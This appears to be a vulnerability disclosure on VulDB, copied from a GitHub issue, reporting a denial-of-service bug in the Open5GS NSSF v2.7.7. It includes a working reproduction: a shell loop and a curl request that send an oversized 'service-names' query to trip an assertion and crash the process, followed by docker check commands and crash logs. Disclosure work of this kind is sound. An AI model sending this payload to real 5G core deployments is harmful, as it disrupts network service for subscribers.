Submit #808425: Open5gs NSSF v2.7.7 Denial of Service

### Open5GS Release, Revision, or Tag

v2.7.7

### Steps to reproduce

### Description

NSSF crashes when the `service-names` query parameter contains more items than
`OGS_SBI_MAX_NUM_OF_SERVICE_TYPE`.

Although `service-names` is not part of the normal
`Nnssf_NSSelection` request shape, `ogs_sbi_parse_request()` still parses it
through the common discovery-option query path before the request reaches the
NSSF handler. The parser eventually calls:

```c
ogs_assert(discovery_option->num_of_service_names <
OGS_SBI_MAX_NUM_OF_SERVICE_TYPE);
```

which makes an oversized `service-names` query abort the NSSF process.

### Steps to reproduce

```bash
IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nssf)

services=$(printf 'svc0')
for i in $(seq 1 80); do
services="$services,svc$i"
done

curl --http2-prior-knowledge -m 5 -sS -i --get \
"http://$IP/nnssf-nsselection/v2/network-slice-information" \
--data-urlencode 'nf-id=test-amf' \
--data-urlencode 'nf-type=AMF' \
--data-urlencode 'slice-info-request-for-pdu-session={"sNssai":{"sst":1,"sd":"000001"},"roamingIndication":"NON_ROAMING"}' \
--data-urlencode "service-names=$services"
```

Then check:

```bash
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' nssf
docker logs --tail 40 nssf
```

### Logs

```shell
curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream

exited 139 2026-04-10T17:56:47.129674313Z

04/10 17:56:47.031: [sbi] FATAL: ogs_sbi_discovery_option_add_service_names: Assertion `discovery_option->num_of_service_names < OGS_SBI_MAX_NUM_OF_SERVICE_TYPE' failed. (../lib/sbi/message.c:3625)
```

### Expected behaviour

NSSF should ignore unsupported query parameters or reject oversized `service-names` input with a normal HTTP error response.

### Observed Behaviour

The HTTP/2 stream aborts and the NSSF process exits with code `139`.

### eNodeB/gNodeB

Not required.

### UE Models and versions

Not required.

• Quelle: ⚠️ https://github.com/open5gs/open5gs/issues/4435
• Benutzer: LinZiyu (UID 94035)
• Einreichung: 20.04.2026 20:15 (vor 2 Monaten)
• Moderieren: 07.05.2026 18:57 (17 days later)
• Status: Akzeptiert
• VulDB Eintrag: 361909 [Open5GS bis 2.7.7 NSSF /lib/sbi/message.c ogs_sbi_discovery_option_add_service_names Denial of Service]
• Punkte: 20